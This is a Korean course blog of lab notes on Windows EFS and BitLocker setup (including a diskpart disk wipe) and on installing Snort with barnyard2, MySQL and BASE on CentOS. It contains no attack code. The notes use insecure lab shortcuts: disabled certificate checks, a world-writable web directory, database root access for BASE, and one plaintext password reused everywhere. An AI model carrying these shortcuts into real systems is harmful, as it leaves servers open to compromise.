제어판 > 사용자 계정 > 왼쪽 상단의 "암호 재설정 디스크 만들기" 선택 > 적당한 작업



⑥ administrator 사용자로 로그인 테스트

administrator 사용자 로그 아웃 > 새로 로그인 시 테스트

                            > 틀린 암호를 몇번 입력한다. > 로그인이 되지 않는다.

                            > 화면의 하단에 있는 "암호 초기화" 부분을 선택한다.

                            > 적당한 작업(새로운 암호는 : security1.)

                            > 새로운 암호로 로그인 후 암호를 원래대로 복원한다.



(복원) 반드시 administrator 암호를 복원해야 한다. (EX: security1. -> soldesk1.)







■ 데이터 암호화(EFS(Encrypting File System))


        ■ 파일/디렉토리 단위 암호화(EX: C:\암호화실습\*)

        ■ 파일시스템 단위 암호화(EX: C:\)


사용 시스템

- windows 2008

- windows 7


(가정) windows 2008 서버가 켜져 있는 상태라고 가정한다.



(windows 2008)


데이터 암호화 실습


① 실습을 위한 사용자 생성


2명의 사용자를 생성(user1, user2)

        제어판 > 사용자 계정 > 다른 계정 관리 > 새 계정 만들기(EX: user1/soldesk1.)


② user1 사용자로 새로 로그인


현재 사용자는 로그아웃(EX: Administrator)하고 user1 사용자로 새로 로그인한다.


시작 > 로그오프 > user1 사용자로 로그인


③ windows 탐색기에서 "c:\암호화실습" 디렉토리를 생성하고 실습용 파일 생성


실습용 파일은 2개를 생성한다.

- 암호화.txt(파일의 내용은 적당히 넣는다.)

- 암호화안됨.txt(파일의 내용은 적당히 넣는다.)


④ "암호화.txt" 파일 암호화 하기


암호화.txt 파일의 선택하고 > 속성 > 고급 > [ V ] 데이터 보호를 위해 내용을 암호화

                                        > 확인 > [ V ] 파일만 암호화


(참고) 암호화된 파일은 색깔이 초록색으로 변경이 될것이다.



user1 사용자로 로그 아웃하고 user2 사용자로 로그인




user2 사용자가 user1 사용자가 생성한 파일 열기


c:\암호화실습\암호화.txt 파일을 열어본다.

c:\암호화실습\암호화안됨.txt 파일을 열어본다.




user2 사용자로 user1 사용자 파일에 대한 속성 정보 변경


c:\암호화실습\암호화.txt > 속성 > 고급 > [  ] 데이터 보호를 위해 내용을 암호화 > 취소

-> 정상적으로 변경되지 않는다.

-> 파일의 속성 정보를 변경할 권한이 없기 때문에 작업이 되지 않는다.

-> 또한 암호화된 파일은 복사도 되지 않는다.


user2 사용자 로그 아웃하고 user1 사용자로 로그인


⑨ 파일시스템 암호화 키 백업하기

파일이나 디렉토리를 암호화하면 안전해지지만, 지금 쓰는 운영체제에 문제가 발생하여 windows 운영체제를 재 설치하면 "암호화 키"를 이용하지 않는 한 파일을 만든 사용자도 영원히 열어 볼수 없다.

따라서, 암호화 키를 백업하여야 한다. 중요한 파일/디렉토리를 암호화하면 반드시 암호화 키도 같이 백업해서 다른 시스템이나 USB에 별도로 저장해야 한다.

실습에서는 다른 서버에 저장하는 것으로 한다. 따라서 다른 서버에는 공유 디렉토리를 먼저 만들어야 한다.


오른쪽 하단의 패널 부분에 풍선 도움말이 나온다. > 풍선 도움말을 선택

        > "지금 백업(권장)(N)"을 선택 > 적당한 설정(EX: 암호는 soldesk1.)

        > 적당한 위치에 키 파일을 저장(EX: C:\암호화실습\인증서키.pfx)


실습을 위해서 쉬운 위치에 놓았다. USB나 원격서버에 보관하여야 한다.(안전한 장소 및 위치)


user1 사용자는 로그아웃하고 user2 사용자로 로그인




user2 사용자로 C:암호화실습\암호화.txt 파일 열기


<Windows + R> => certmgr.msc 실행


개인용 > 오른쪽 마운스 선택 > 모든 작업 > 가져오기 > 파일이름: C:\암호화실습\인증서키.pfx

> 암호입력: soldesk1.



user2 사용자로 암호화된 파일을 열어 보자.(C:\암호화실습\암호화.txt)


⑫ 실습이 끝났다면 administrator 사용자로 새로 로그인


user2 사용자는 로그아웃하고 administrator 사용자로 새로 로그인한다.


서버를 끈다.(Power Off)








■ BitLocker 드라이브 암호화


BitLocker는 하드디스크 자체를 암호화하기 위한 기술로서, 주 목적은 하드디스크를 통째로 도난당해도 암호화 키가 없이는 읽지 못하게 하는 것이다.

BitLocker를 사용하기 위해서는 일반적으로 TPM(Trusted Platform Modules)이라고 부르는 마이크로칩이 메인보드에 내장되어 있어야 한다. 또한 BIOS에서 TPM 기능을 지원해줘야한다. 이런한 하드웨어적인 기능은 거의 조작이 불가능한 강력한 암호화를 제공해 준다.

BitLocker 기능은 Windows Vista, Windows 7, Windows 2008, windows 2008 R2 이상에서는 사용가능하며 TPM이 장착된 메인보드가 없다면 대신 USB 2.0용 플래시 메모리를 사용할 수도 있다.

실습에서는 USB를 사용하여 실습하였다.


(전 제조건) windows 2008 서비스에서 BitLocker를 사용하기 위한 전제 조건

TPM이 장착된 메인보드 또는 USB 2.0 슬롯

2개 이상의 하드디스크(운영체제 디스크 + BitLocker 암호용 1.5G 이상 디스크)

windows 2008 신규 설치

USB 2.0 플래쉬 메모리(TPM 없는 메인보드의 경우 사용)


다음은 windows 2008 R2 64bit 운영체제를 새로 설치하는 과정이다.


① 가상 머신(Virtual Machine)을 새로 생성


Windows Server 2008 R2 64bit

Virtual Machin name: BitLocker_제5기

Disk Cap. : 40G

Hardware:

        USB controller: [  ] Automatically connect new USB devices

CD/DVD 

        Use ISO Image file: (windows2008 서버 ISO 이미지 파일)



■ BitLocker 테스트 서버 Power ON


(1) 언어선택/키보드선택 : 다음(Next)




(2) 컴퓨터 복구(Repair your compter)  (주의) 지금 설치(Install Now) 하면 안된다.


(3) 시스템 복구 옵션 : 다음(Next)




(4) 취소(cencel)


(5) 명령 프롬프트(Command Prompt)




(6) 다음 명령어 수행

X:\Sources> diskpart

DISKPART> select disk 0       /* 0번째 하드 디스크 선택 */

DISKPART> clean               /* 디스크 초기화 */

DISKPART> create partition primary size=2000

        /* 앞부분의 2G 정도를 BitLocker용 파티션으로 설정(1.5G 이상이어야 한다.) */

DISKPART> assign letter=k 

        /* 드라이브 문자를 K로 할당, 나중에 바뀔수도 있음. */

DISKPART> active            /* 활성화 */

 

DISKPART> format fs=NTFS label="BitLocker"  /* NTFS 파일시스템으로 만들고, 레이블 지정 */

 

        100 퍼센트 완료

 

DISKPART> create partition primary

        /* windows 2008 설치 용 파티션을 남은 공각으로 사용 */

DISKPART> assign letter=c     /* 드라이브 문자를 C로 할당 */

DISKPART> format fs=NTFS label="Encrypted"

 

        100 퍼센트 완료

 

DISKPART> exit

X:\Sources> exit




(7) <Alt + F4>


(8) 원본 창으로 이동하여 "지금 설치(Install Now)"을 선택한다.




(9) 설치 운영체제 선택: Windows 2008 Server R2 Enterprise(전체 설치)


(10) 소프트웨어 사용권 동의 계약서: [V] 동의함




(11) 설치 유형: 사용자 정의 지정(고급)


(12) 윈도우즈 설치할 위치: "디스크 0 파티션 2: Encrypted" 선택 > 다음(Next)




windows 설치가 완료되고 나면 자동으로 재부팅되고 몇 차례 다시 시작될수도 있다.



(13) 설치는 적당한게 한다.


administrator 암호는 soldesk1. 설정한다.


(14) 설치가 완료된 이후에 작업


설치가 완료된 이후에 관리자(administrator)로 로그인 한다.



=> VMware Tools는 개별적으로 설치하기 바란다.



main.sh(110511).txtmain.sh(140201).txt



'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160825 웹보안  (0) 2016.08.25
20160825 BitLocker  (0) 2016.08.25
20160824 Snort on CentOS6.X (수정)  (0) 2016.08.24
20160823 Snort on CentOS6.X  (0) 2016.08.23
20160823 DoS, DDoS, SNORT  (0) 2016.08.23
Posted by 22Hz
, |

■ sniffer mode - 네트워크 트래픽을 실시간적으로 분석하는 경우

        run-time options:

        -v verbose

        -d dump package payloads

        -x dump entire package in hex

        -a display arp packages

        -e display link layer data



■ TCP/IP packet headers 출력

        [TERM2] # ping 168.126.63.1

# snort -v        (# snort -v -c /etc/snort/snort.conf -l /var/log/snort)

headers 와 data 부분 출력

# snort -dv      (# snort -dv -c /etc/snort/snort.conf -l /var/log/snort)

data link layer headers 출력

# snort -dev     (# snort -dev -c /etc/snort/snort.conf -l /var/log/snort)



■ log mode - 출력 내용을 로그에 저장


command line options

-l dump packages into log directory

-b log packages in binary (tcpdump) format


예제

# snort -dev -b -l /var/log/snort -c /etc/snort/snort.conf

# snort -dev -b -l /var/log/snort -h 192.168.20.0/24 -c /etc/snort/snort.conf



■ NIDS mode


# snort -d -h 192.168.20.0/24 -l /var/log/snort -c /etc/snort/snort.conf -A fast

-A fast : Fast alert mode

-A full

-A unsock

-A none

-A console(screen)

-A cmg(custom mode)


[예제]

fast mode

# snort -c /etc/snort/snort.conf -l /var/log/snort -A fast


full mode

# snort -c /etc/snort/snort.conf -l /var/log/snort -A full -D


checking log files

# ls -l /var/log/snort

# cat alert

# cat snort.log.1389675205

# tcpdump -nr /var/log/snort/snort.log.13897656




■ barnyard configuration

■ MySQL configuration

■ barnyard & snort startup

■ BASE installation

■ BASE configuration



[ snort ---> barnyard2 ---> BASE ---> MySQL ]



■ barnyard2 - github.com/firnsy/barnyard2

a dedicated spooler for Snort's unified2 binary output format

an output system for snort, it reads the binary logs from snort using the unified2 format.

It will resend the information of this logs to a database backend



■ BASE: Basic Analysis and Security Engine

provides a web front-end to query and analyze the alerts coming from Snort.

The alerts will send to MySQL database, this feature is provided by barnyard2.

http://base.professionallyevil.com/






① Barnyard installation


# vi /etc/hosts

..... (중략) .....

192.168.20.203   ids.example.com  ids

192.168.10.203   nic2


# mkdir -p /snort

# cd /snort

# wget --no-check-certificate \

https://github.com/firnsy/barnyard2/archive/master.zip \

-O master.zip

-> 출력내용 생략


# unzip master.zip

-> 출력내용 생략


# cd barnyard2-master

# ls

autogen.sh    COPYING  etc      m4           README         rpm      src

configure.ac  doc      LICENSE  Makefile.am  RELEASE.NOTES  schemas  tools


        (자동) # ./autogen.sh       /* update configuration files */

        (수동) # autoconf -f -v -i -I ./m4


        (주의) 선수 패키지 - 아래 패키지가 없는 경우에는 반드시 설치해야 한다.

        autogen.sh 스크립트를 실행하기 전에 반드시 확인한다.

        (RedHat 계열) # yum -y install autoconf libtool automake

        (Debian 계열) # apt-get install autoconf libtool automake


# yum -y install autoconf libtool automake

# ./autogen.sh

Found libtoolize

libtoolize: putting auxiliary files in `.'.

libtoolize: copying file `./ltmain.sh'

libtoolize: putting macros in AC_CONFIG_MACRO_DIR, `m4'.

libtoolize: copying file `m4/libtool.m4'

libtoolize: copying file `m4/ltoptions.m4'

libtoolize: copying file `m4/ltsugar.m4'

libtoolize: copying file `m4/ltversion.m4'

libtoolize: copying file `m4/lt~obsolete.m4'

autoreconf: Entering directory `.'

autoreconf: configure.ac: not using Gettext

autoreconf: running: aclocal --force -I m4

autoreconf: configure.ac: tracing

autoreconf: running: libtoolize --copy --force

libtoolize: putting auxiliary files in `.'.

libtoolize: copying file `./ltmain.sh'

libtoolize: putting macros in AC_CONFIG_MACRO_DIR, `m4'.

libtoolize: copying file `m4/libtool.m4'

libtoolize: copying file `m4/ltoptions.m4'

libtoolize: copying file `m4/ltsugar.m4'

libtoolize: copying file `m4/ltversion.m4'

libtoolize: copying file `m4/lt~obsolete.m4'

autoreconf: running: /usr/bin/autoconf --force

autoreconf: running: /usr/bin/autoheader --force

autoreconf: running: automake --add-missing --copy --force-missing

configure.ac:11: installing `./config.guess'

configure.ac:11: installing `./config.sub'

configure.ac:8: installing `./install-sh'

configure.ac:8: installing `./missing'

autoreconf: Leaving directory `.'

You can now run "./configure" and then "make".


# ./configure --help | egrep '(mysql|lib)'

  --with-mysql=DIR               Support for MySQL

  --with-mysql-libraries=DIR     MySQL library directory


# yum -y install mysql mysql-devel

# ln -s /usr/lib64/mysql/libmysqlclient.so.16.0.0 /usr/lib/libmysqlclient.so.16.0.0

# ln -s /usr/lib64/mysql/libmysqlclient_r.so.16.0.0 /usr/lib/libmysqlclient_r.so.16.0.0


# cd /snort/barnyard2-master

# ./configure --with-mysql --with-mysql-libraries=/usr/lib64


# make

# make install


# cp /snort/barnyard2-master/etc/barnyard2.conf /etc/snort

# cp /snort/barnyard2-master/schemas/create_mysql /usr/local/src


# mkdir -p /var/log/barnyard2     /* 이전에 디렉토리를 생성했었다. */

# chown -R snort:snort /var/log/barnyard2


# cp /snort/snort-*/etc/gen-msg.map /etc/snort


② barnyard configuration

# vi /etc/snort/barnyard2.conf

[수정전]

227: output alert_fast: stdout

351: #output database: log, mysql, user=root password=test dbname=db host=localhost

[수정후]

227: output alert_fast

351: output database: log, mysql, user=snort password=snort dbname=snort host=localhost

-> 주석 제거 및 수정


③ Setup the MySQL Server

(주의) 반드시 Local에서 작업을 진행한다.

# yum -y install mysql-server

-> 출력 내용 생략


# chkconfig mysqld on

# service mysqld start

MySQL 데이타베이스 초기화 중:  Installing MySQL system tables...

OK

Filling help tables...

OK

 

To start mysqld at boot time you have to copy

support-files/mysql.server to the right place for your system

 

PLEASE REMEMBER TO SET A PASSWORD FOR THE MySQL root USER !

To do so, start the server, then issue the following commands:

 

/usr/bin/mysqladmin -u root password 'new-password'

/usr/bin/mysqladmin -u root -h ids.example.com password 'new-password'

 

Alternatively you can run:

/usr/bin/mysql_secure_installation

 

which will also give you the option of removing the test

databases and anonymous user created by default.  This is

strongly recommended for production servers.

 

See the manual for more instructions.

 

You can start the MySQL daemon with:

cd /usr ; /usr/bin/mysqld_safe &

 

You can test the MySQL daemon with mysql-test-run.pl

cd /usr/mysql-test ; perl mysql-test-run.pl

 

Please report any problems with the /usr/bin/mysqlbug script!

 

                                                           [  OK  ]

mysqld (을)를 시작 중:                                     [  OK  ]


# mysql_secure_installation

NOTE: RUNNING ALL PARTS OF THIS SCRIPT IS RECOMMENDED FOR ALL MySQL

      SERVERS IN PRODUCTION USE!  PLEASE READ EACH STEP CAREFULLY!

 

 

In order to log into MySQL to secure it, we'll need the current

password for the root user.  If you've just installed MySQL, and

you haven't set the root password yet, the password will be blank,

so you should just press enter here.

 

Enter current password for root (enter for none): <ENTER>

OK, successfully used password, moving on...

 

Setting the root password ensures that nobody can log into the MySQL

root user without the proper authorisation.

 

Set root password? [Y/n] Y

New password: (soldesk1.)

Re-enter new password: (soldesk1.)

Password updated successfully!

Reloading privilege tables..

 ... Success!

 

 

By default, a MySQL installation has an anonymous user, allowing anyone

to log into MySQL without having to have a user account created for

them.  This is intended only for testing, and to make the installation

go a bit smoother.  You should remove them before moving into a

production environment.

 

Remove anonymous users? [Y/n] Y

 ... Success!

 

Normally, root should only be allowed to connect from 'localhost'.  This

ensures that someone cannot guess at the root password from the network.

 

Disallow root login remotely? [Y/n] Y

 ... Success!

 

By default, MySQL comes with a database named 'test' that anyone can

access.  This is also intended only for testing, and should be removed

before moving into a production environment.

 

Remove test database and access to it? [Y/n] Y

 - Dropping test database...

 ... Success!

 - Removing privileges on test database...

 ... Success!

 

Reloading the privilege tables will ensure that all changes made so far

will take effect immediately.

 

Reload privilege tables now? [Y/n] Y

 ... Success!

 

Cleaning up...

 

 

 

All done!  If you've completed all of the above steps, your MySQL

installation should now be secure.

 

Thanks for using MySQL!


# mysql -u root -p

Enter password: (soldesk1.)

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 21

Server version: 5.1.73 Source distribution

 

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

 

Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

owners.

 

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> create database snort;

Query OK, 1 row affected (0.00 sec)

 

mysql> grant all on snort.* to snort@localhost;

Query OK, 0 rows affected (0.00 sec)

      /* mysql> grant CREATE,INSERT,SELECT,DELETE,UPDATE on snort.* to snort@localhost; */

mysql> set password for snort@localhost=password('snort');

Query OK, 0 rows affected (0.00 sec)

 

mysql> show databases;

+--------------------+

| Database           |

+--------------------+

| information_schema |

| mysql              |

| snort              |

+--------------------+

3 rows in set (0.00 sec)

 

mysql> use snort;

Database changed

mysql> source /usr/local/src/create_mysql     <- from barnyard2

..... (중략) .....

Query OK, 1 row affected (0.00 sec)

 

Query OK, 1 row affected (0.00 sec)

 

Query OK, 1 row affected (0.00 sec)

 

Query OK, 0 rows affected (0.01 sec)

 

Query OK, 1 row affected (0.00 sec)

 

Query OK, 1 row affected (0.00 sec)

mysql> show tables;

+------------------+

| Tables_in_snort  |

+------------------+

| data             |

| detail           |

| encoding         |

| event            |

| icmphdr          |

| iphdr            |

| opt              |

| reference        |

| reference_system |

| schema           |

| sensor           |

| sig_class        |

| sig_reference    |

| signature        |

| tcphdr           |

| udphdr           |

+------------------+

16 rows in set (0.00 sec)

 

mysql> flush privileges;

Query OK, 0 rows affected (0.00 sec)

 

mysql> exit


④ Start snort using the command


        (자동) # service snortd restart

        (수동) # snort -d -A full -u snort -g snort -c /etc/snort/snort.conf -i eth0 &


# service snortd restart

Stopping snort:                                            [실패]

Starting snort: Spawning daemon child...

My daemon child 22470 lives...

Daemon parent exiting (0)

                                                           [  OK  ]


# ls -l /var/log/snort

-> (주의) snort:snort 으로 안되어 있는 파일이 있다면 chown 명령어를 통해 설정을 바꿔야 한다.

        # chown -R snort:snort /var/log/snort


[TERM2] 다른 터미널에서 수행

# barnyard2 -c /etc/snort/barnyard2.conf \

-d /var/log/snort -f snort.log \

-w /etc/snort/bylog.waldo \

-C /etc/snort/classification.config

Running in Continuous mode

 

        --== Initializing Barnyard2 ==--

Initializing Input Plugins!

Initializing Output Plugins!

Parsing config file "/etc/snort/barnyard2.conf"

 

 

+[ Signature Suppress list ]+

----------------------------

+[No entry in Signature Suppress List]+

----------------------------

+[ Signature Suppress list ]+

 

Barnyard2 spooler: Event cache size set to [2048]

Log directory = /var/log/barnyard2

INFO database: Defaulting Reconnect/Transaction Error limit to 10

INFO database: Defaulting Reconnect sleep time to 5 second

[ClassificationPullDataStore()]: No Classification found in database ...

[SignaturePullDataStore()]: No signature found in database ...

[SystemPullDataStore()]: No System found in database ...

[ReferencePullDataStore()]: No Reference found in database ...

[SignatureReferencePullDataStore()]: No Reference found in database ...

database: compiled support for (mysql)

database: configured to use mysql

database: schema version = 107

database:           host = localhost

database:           user = snort

database:  database name = snort

database:    sensor name = ids.example.com:NULL

database:      sensor id = 1

database:     sensor cid = 1

database:  data encoding = hex

database:   detail level = full

database:     ignore_bpf = no

database: using the "log" facility

 

        --== Initialization Complete ==--

 

  ______   -*> Barnyard2 <*-

 / ,,_  \  Version 2.1.14 (Build 337)

 |o"  )~|  By Ian Firns (SecurixLive): http://www.securixlive.com/

 + '''' +  (C) Copyright 2008-2013 Ian Firns <firnsy@securixlive.com>

 

WARNING: Unable to open waldo file '/etc/snort/bylog.waldo' (No such file or directory)

Opened spool file '/var/log/snort/snort.log.1464866678'

Closing spool file '/var/log/snort/snort.log.1464866678'. Read 0 records

Opened spool file '/var/log/snort/snort.log.1464866810'

Closing spool file '/var/log/snort/snort.log.1464866810'. Read 0 records

Opened spool file '/var/log/snort/snort.log.1464870215'

Waiting for new data

 

-> 약간 실행 시간이 걸리기 때문에 기다린다.

-> 약 5분 ~ 10분정도


⑤ check mysql

# mysql -u root -p

Enter password: (soldesk1.)

Welcome to the MySQL monitor.  Commands end with ; or \g.

Your MySQL connection id is 12

Server version: 5.1.73 Source distribution

 

Copyright (c) 2000, 2013, Oracle and/or its affiliates. All rights reserved.

 

Oracle is a registered trademark of Oracle Corporation and/or its

affiliates. Other names may be trademarks of their respective

owners.

 

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

 

mysql> use snort;

Reading table information for completion of table and column names

You can turn off this feature to get a quicker startup with -A

 

Database changed

mysql> select count(*) from event;

+----------+

| count(*) |

+----------+

|        0 |          <---- barnyard2 프로그램이 /var/log/snort/<snort log> 파일을 읽어 들

+----------+              event count가 늘어난다.

1 row in set (0.00 sec)

 

mysql> exit



[참고]

https://www.youtube.com/watch?v=II80tzwEuFk






BASE Installation

① Prerequisite program installation

# yum install libxml2 \

php \

php-gd \

php-cli \

php-mysql \

php-pear \

php-pear-Log \

php-dba \

php-dbase \

php-odbc \

php-pear-Image-Graph


② php editing - BASE Log level

# vi /etc/php.ini

[수정전]

513: error_reporting = E_ALL & ~E_DEPRECATED

[수정후]

513: error_reporting = E_ALL & ~E_NOTICE

-> 내용 수정


# service httpd restart

httpd 를 정지 중:                                          [실패]

httpd (을)를 시작 중:                                      [  OK  ]


# tail -f /var/log/httpd/error_log

-> 에러 메세지를 확인하고 적당한 설정을 변경한다.

-> <CTRL + C> 끊는다.


③ BASE and Adodb download

# cd /snort

# wget --no-check-certificate \

http://sourceforge.net/projects/secureideas/files/BASE/base-1.4.5/base-1.4.5.tar.gz

-> 출력 내용 생략


# tar xvzf base-1.4.5.tar.gz

-> 출력 내용 생략


# cp -r base-1.4.5 /var/www/html/base

# chown -R apache:apache /var/www/html/base

# chmod 777 /var/www/html/base


④ Adodb(a database abstraction library for PHP)

download http://sourceforge.net/projects/adodb/

# cd /snort

# wget --no-check-certificate http://sourceforge.net/projects/adodb/files/latest/download

-> 출력 내용 생략


# file download

# mv download adodb.tar.gz

# tar xvzf adodb.tar.gz

-> 출력 내용 생략


# mkdir /var/www/lib

# cp -r adodb5 /var/www/lib

# chown -R apache:apache /var/www/lib/adodb5/


⑤ BASE configuration


# firefox http://192.168.20.203/base &


Settings

Step 1 of 5

-> continue

 

 

Pick a Language : english

Path to ADODB : /var/www/lib/adodb5

-> continue


Step 2 of 5

Step 3 of 5

Database Name : snort

Database Host : localhost

Database User Name : root

Database Password : soldesk1.

-> continue

Admin User Name : soldesk

Password : soldesk1.

Full Name : soldesk

-> continue

 

Step 4 of 5

Step 4 of 5

-> Create BASE AG

-> Now continue to step 5 to login


Step 5 of 5

 

!!! Complete !!!

 

Blank Page















'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160825 BitLocker  (0) 2016.08.25
20160824 윈도우즈 서버 보안  (0) 2016.08.24
20160823 Snort on CentOS6.X  (0) 2016.08.23
20160823 DoS, DDoS, SNORT  (0) 2016.08.23
20160822 DoS, DDoS, SNORT  (0) 2016.08.23
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함